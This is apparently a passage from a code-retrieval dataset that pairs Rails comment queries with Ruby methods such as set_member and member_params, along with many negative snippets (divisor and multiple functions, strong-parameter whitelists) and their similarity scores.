(1..num).each do |div|\n divisors << div if (num % div).zero?\n end\n return divisors\nend", "def divisors(int)\n result = []\n\n (1..int).each do |possible_divisor| \n if int % possible_divisor == 0\n result << possible_divisor\n end\n end\n\n result\nend", "def magic_array(ma)\nma.flatten.sort.map{|n|n*2}.uniq.delete_if{|n|n%3==0}\nend", "def collect_multiples(limit)\n multiples = []\n (1...limit).each do |num|\n multiples << num if (num % 3 == 0 || num % 5 == 0)\n end\n return multiples\nend", "def magic_array(a)\n a.flatten.sort.map{|x| x*2}.reject{|x| x%3==0}.uniq\n end", "def select_odds(numbers)\n \n i = 0\n \n new_array = []\n \n while i < numbers.length\n \n if numbers[i] % 2 != 0\n \n \tnew_array << numbers[i]\n end\n \n i += 1\n end\n return new_array\n\nend", "def crazy_nums(max)\n res = []\n idx = 3\n while idx < max\n if (idx % 3 == 0 || idx % 5 == 0) && idx % 15 != 0\n res.push(idx)\n end\n idx += 1\n end\n return res\nend", "def number_divisible_by_31(array)\n\tarray.select{|x| x % 31 == 0}\nend", "def select_odds(numbers)\n i = 0\n newArr = []\n while i < numbers.length\n if numbers[i] % 2 != 0\n newArr << numbers[i]\n end\n i += 1\n end\n return newArr\n end", "def factors3(number)\n factors = []\n for n in 1..number do\n factors << number / n if number % n == 0\n end \n factors\nend", "def multiples\n (1..999).select do |i|\n i % 3 == 0 || i % 5 == 0\n end\nend", "def magic_array (liste)\n\treturn liste.flatten.collect {|x| x * 2} .delete_if { |x| x%3 == 0 } .uniq .sort\nend", "def divisors(num)\n results = []\n \n 1.upto(num) do |current_num|\n results << current_num if num % current_num == 0\n end\n \n results\nend", "def collect_multiples(limit)\n array=*(1...limit)\n array.select {|num| num % 3 == 0 || num % 5 ==0}\nend", "def divisible_by(numbers, divisible)\n divisible_number = numbers.select{ |x| x % divisible == 0 }\n divisible_number == 0 ? 0 : divisible_number \nend", "def select_every_n arr, n=1\n ans = []\n arr.each_with_index do |item, i|\n ans.push item if i%n == 0\n end\n ans\nend", "def collect_multiples(limit)\n multiples = []\n\n for i in 1...limit do\n if (i % 5 == 0 || i % 3 == 0)\n multiples << i\n end\n end\n\n return multiples\n\nend", "def split_in_three(number, length1, length2)\n [number.slice(0, length1), number.slice(length1, length2), number.slice(length1 + length2, 10)]\n end", "def all_elements_except_first_3 array\n 3.times do |x|\n array.delete(array[0])\n end\n array\nend", "def divisor(input_number)\n  output_array = []\n  while input_number > 2\n    output_array << input_number - 1\n    input_number -= 1\n  end\n  output_array\nend", "def collect_multiples(limit)\n (1...limit).to_a.select{|i| i % 3 == 0 || i % 5 == 0}\nend", "def by_three?(n)\n return n % 3 == 0\nend", "def nontrivial_divisors_of number, options={}\n default_options = {upper_limit: number - 1}\n # Merge in default options because default options in the argument list will\n # be ignored/missed if a partial option hash is passed in\n options = default_options.merge options\n\n upper_limit = options[:upper_limit]\n\n divisors = []\n (2..upper_limit).each do |val|\n if number % val == 0\n divisors.push val\n end\n end\n divisors\nend", "def divisible_by(numbers, divisor)\n numbers.find_all { |i| (i % divisor).zero? }\nend", "def divisors(num)\n divisors = Array.new\n counter = 1\n while counter <= num\n divisors << counter if num % counter == 0\n counter += 1\n end\n divisors\nend", "def multiples\n\t\t#select all numbers from 3-999 using iterator i...\n\t\t(3..999).select do |i|\n\t\t\t#...that are divisible by 3 or divisible by 5\n\t\t\ti%3 == 0 || i%5 == 0\n\t\tend\n\tend", "def find_three\n array_of_integers.sort!\n i = 0\n size_of_array = array_of_integers.size\n while i <= size_of_array - 3\n a = array_of_integers[i]\n j = i + 1\n k = size_of_array - 1\n\n while j < k\n b = array_of_integers[j]\n c = array_of_integers[k]\n sum = a + b + c\n if sum == 0\n return [a, b, c]\n elsif sum > 0\n k -= 1\n else\n j += 1\n end\n end\n\n i += 1\n end\n []\n end", "def divisible_by_three(number)\n if number % 3 == 0 \n return true\n else \n return false \n end\nend", "def remove_odd array\n no_odds_array = []\n array.each do |number|\n if number % 2 == 0\n no_odds_array.push(number)\n end\n end\n no_odds_array\nend", "def divisible_by_three?(number)\n number % 3 == 0\nend", "def divisors(n)\n current_num = 1\n divs = []\n loop do\n result = n.divmod(current_num)\n return divs.uniq.sort if result[0] < current_num\n divs.concat([result[0], current_num]) if result[1].zero?\n current_num += 1\n end\nend", "def select_odds(numbers)\n new_arr = []\n\n i = 0\n while i < numbers.length\n if numbers[i] % 2 == 1\n new_arr << numbers[i]\n else \n end\n\n i += 1\n end\n\n return new_arr\n \nend", "def divisible_by(numbers, divisor)\n\n # This is a very concise approach to solving this problem. Here we're going to be selecting\n # only digits that are divisible by our divisor.\n numbers.select { |n| n % divisor == 0}\nend", "def dividers(num)\n\n (1..num).select { |x| num%x == 0}\n\nend", "def divisible_by_three(num)\n num%3 == 0 ? true : false\nend", "def print_numbers_divisible_by_three\n index = 1\n while index <= 1000\n if index % 3 == 0\n puts index\n end\n index += 1\n end\nend", "def factors(n)\n new_arr = []\n (1...n).each do |i|\n if n % i == 0 \n new_arr << i \n end\n end\n new_arr \nend", "def factors(number)\n dividend = number\n divisors = []\n while dividend == 0\n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end\n divisors\n\n # number % dividend == 0 checks if the number is divisable with no remainder\n # returns the divisors array\nend", "def proper_divisors n\n if (n < 2)\n return []\n end\n\n r = Math.sqrt(n)\n p = (r - 1).ceil\n d = (2..p).collect { |x| [x, n/x] if n % x == 0 }.compact.flatten\n if (r == r.floor)\n d.concat([r.floor])\n end\n return d.concat([1])\nend", "def find_all_divisible(nums)\n return nums.select {|i| i % 7 == 0}\nend", "def divisors(number)\n (1..number).select do |candidate|\n number % candidate == 0\n end\nend", "def divisors(number)\n (1..number).select { |n| number % n == 0 }\nend", "def threefive(num)\n\n if num < 1 || num > 100\n return \"Number must be between 1-100\"\n end\n mult_arr = []\n mult_arr << 0\n i = 0\n\n while num > i\n if (i % 3) == 0\n mult_arr << i\n elsif (i % 5) == 0\n mult_arr << i\n end\n i += 1\n end\n return mult_arr.inject{|sum,n| sum + n}\n\nend", "def multiples(numbers)\n numbers.inject(0) do |a, e|\n # sum the elements into the accumulator\n # if they are divisible by 3 or 5\n a += e if e % 3 == 0 || e % 5 == 0\n a\n end\nend", "def remove_factors\n a=Array.new\n self.each do | x | \n a << x if 0 == ( self.inject(0) { | memo, y | memo + (x!=y && y%x==0 ? 1 : 0) } )\n end\n a\n end", "def all_elements_except_first_3(array)\n\tn = [1, 2, 3, 4, 5, 6, 7]\n\tn.slice(3..6)\nend", "def select_odds(numbers)\n array = []\n i = 0\n while i < numbers.length\n \n if numbers[i] % 2 == 1\n array << numbers[i]\n end\n i += 1\n end\n return array\n end", "def solution(number)\r\n (3...number).each_with_object([]) { |n, arr| arr << n if (n % 3).zero? || (n % 5).zero? }.uniq.sum\r\nend", "def factors_of(num) # Define method with one param\n \n i = 1 # To prevent dividing by zero start at one because of future modula expression\n new_array = [] # Create and empty array to shovel numbers while they meet requirements of the if statement\n \n while i <= num \n \n if num % i == 0 # Parameter entered must be a factor of i since we are cycling through iterations and i is incrementing upwards\n \n new_array << i # Shovel iterations that fulfill logical conditions\n end\n \n i += 1 # Increment up 1 at a time\n end\n return new_array # Prints array after while loop ends; while loop conditions are met\n\nend" ]
[ "0.81493986", "0.81380904", "0.80601585", "0.78981036", "0.7204338", "0.7148892", "0.70838004", "0.68499357", "0.67850816", "0.67822284", "0.6757516", "0.6589229", "0.65765655", "0.65708345", "0.65610397", "0.6556901", "0.6489185", "0.6486556", "0.6471882", "0.646446", "0.6445984", "0.64248246", "0.6422183", "0.63965213", "0.6377555", "0.6368477", "0.63554126", "0.6343951", "0.6340352", "0.63355035", "0.6332589", "0.63053465", "0.6273309", "0.62709403", "0.6246133", "0.62453014", "0.6229272", "0.62217027", "0.62156105", "0.61893004", "0.61648846", "0.61517346", "0.6149047", "0.6127684", "0.61096615", "0.6094735", "0.6093953", "0.6082984", "0.60738736", "0.607233", "0.6057941", "0.6054862", "0.60547733", "0.6052651", "0.6048971", "0.60464877", "0.6034505", "0.6025465", "0.6014926", "0.59984654", "0.5985292", "0.5948543", "0.5945397", "0.59443116", "0.5942956", "0.59314305", "0.5910551", "0.5899069", "0.58913004", "0.58905226", "0.588878", "0.5887571", "0.5875028", "0.5872262", "0.5869697", "0.584607", "0.5844712", "0.5840386", "0.58380115", "0.5825694", "0.58208597", "0.5820696", "0.58204883", "0.5819557", "0.5818594", "0.5818377", "0.58026516", "0.57968974", "0.5788212", "0.57854736", "0.57794434", "0.5778019", "0.57757264", "0.57721996", "0.57695234", "0.5762712", "0.5761996", "0.5758977", "0.5754544", "0.57478553" ]
0.75824183
4
Use callbacks to share common setup or constraints between actions.
def set_member @member = Member.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def after_set_callback; end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6165094", "0.60450804", "0.5944413", "0.5915806", "0.58885634", "0.5835225", "0.5775847", "0.5700531", "0.5700531", "0.56543404", "0.56209993", "0.54238355", "0.5410386", "0.5410386", "0.5410386", "0.5394892", "0.5377769", "0.53559244", "0.5339896", "0.53388095", "0.5330087", "0.5311993", "0.5297402", "0.5296789", "0.52957207", "0.52596015", "0.5245442", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5235431", "0.5231888", "0.5226663", "0.52220625", "0.5217086", "0.52137345", "0.5208314", "0.5205469", "0.5175606", "0.5174914", "0.5173361", "0.51662856", "0.5161792", "0.51572216", "0.5153063", "0.5152982", "0.5152632", "0.51435786", "0.5139829", "0.51346594", "0.511372", "0.511372", "0.51136476", "0.51083213", "0.5108011", "0.5091935", "0.5089297", "0.5081576", "0.50807106", "0.50656676", "0.50548106", "0.50537366", "0.505074", "0.505074", "0.5033361", "0.5025158", "0.5020441", "0.5015611", "0.50142473", "0.5000281", "0.50001067", "0.49989453", "0.4989465", "0.4989465", "0.4985425", "0.49805096", "0.49795893", "0.49783278", "0.49676263", "0.49656346", "0.49579078", "0.4955427", "0.49554235", "0.49536413", "0.49523768", "0.49457142", "0.49433607", "0.4933641", "0.49320185", "0.49265638", "0.49262375", "0.49259067", "0.4922456", "0.49201223", "0.49165115", "0.49158815", "0.49151883", "0.49149552", "0.4914386" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def member_params params.require(:member).permit(:user_name, :rank_id, :activity_status_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, 